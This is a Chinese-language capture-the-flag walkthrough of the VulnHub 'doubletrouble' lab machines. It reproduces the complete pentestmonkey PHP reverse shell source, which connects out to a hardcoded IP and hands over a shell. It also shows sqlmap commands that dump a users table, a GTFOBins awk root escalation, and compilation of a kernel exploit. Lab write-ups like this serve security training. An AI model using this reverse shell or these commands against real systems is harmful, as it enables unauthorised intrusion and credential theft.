vulnhub靶机doubletrouble

下载地址：doubletrouble: 1 ~ VulnHub

主机发现

arp-scan -l

端口扫描

nmap --min-rate 1000 -p- 192.168.21.151

端口服务扫描

nmap -sV -sT -O -p22,80 192.168.21.151

漏洞扫描

nmap --script=vuln -p22,80 192.168.21.151

先去看看web页面

这里使用的是qdpm

找一下漏洞

接下来弄一下网站的目录

dirsearch -u http://192.168.21.151

找一下不是模板的文件夹

估计要从这个图片入手了，先下载下来

文件西安基础的看一下

用一下新的工具试试

需要密码

那就爆破一下看看行不行

搞定

去看看这个文件

这个就是登入的账号密码了

发现上传点

那就简单的找一个reverse吧，网上随便找

反弹shell脚本（php-reverse-shell）_落寞的魚丶的博客-CSDN博客

<?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 [e-mail]//// This tool may be used for legal purposes only.  Users take full responsibility// for any actions performed using this tool.  The author accepts no liability// for damage caused by this tool.  If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// This tool may be used for legal purposes only.  Users take full responsibility// for any actions performed using this tool.  If these terms are not acceptable to// you, then do not use this tool.//// You are encouraged to send comments, improvements or suggestions to// me at [e-mail]//// Description// -----------// This script will make an outbound TCP connection to a hardcoded IP and port.// The recipient will be given a shell running as the current user (apache normally).//// Limitations// -----------// proc_open and stream_set_blocking require PHP version 4.3+, or 5+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.//// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION = "1.0";$ip = '127.0.0.1';  // CHANGE THIS$port = 1234;       // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies.  Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0);  // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array(0 => array("pipe", "r"),  // stdin is a pipe that the child will read from1 => array("pipe", "w"),  // stdout is a pipe that the child will write to2 => array("pipe", "w")   // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string\n";}}?>

记得改ip我忘了

上传就可以

访问就可以（前文的uploads里面）

上传的时候会有报错回显不管就行

访问

记得开netcat

搞定

改一下shell

python -c 'import pty;pty.spawn("/bin/bash")'

信息收集

此时是用root运行的awk

去GTFOBins看一下

拿下

发现root里面不是flag而是一个ova下载下来

在靶机里面开一个http服务

再开一个靶机

主机发现

arp-scan -l

目标192.168.21.162

端口扫描

nmap --min-rate 1000 -p- 192.168.21.162

端口服务扫描

nmap -sV -sT -O -p22,80 192.168.21.162

漏洞扫描

nmap --script=vuln -p22,80 192.168.21.162

去web看看

先试试上面没扫全这个是自己写的大概率有sql

根据提示看到这里确实有问题

直接一把梭

sqlmap -u http://192.168.21.162/index.php --batch --forms -dbs

sqlmap -u http://192.168.21.162/index.php --batch --forms -D doubletrouble –tables

sqlmap -u http://192.168.21.162/index.php --batch --forms -D doubletrouble -T users –columns

sqlmap -u http://192.168.21.162/index.php --batch --forms -D doubletrouble -T users -C username,password –dump

Ssh登入

登入只有一个成功

信息收集

干干净净（linux3.2有洞，利用就行）

复制到桌面

执行建议web

下载文件

编译

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil

执行40847

搞定

切换账户

结束

拿下！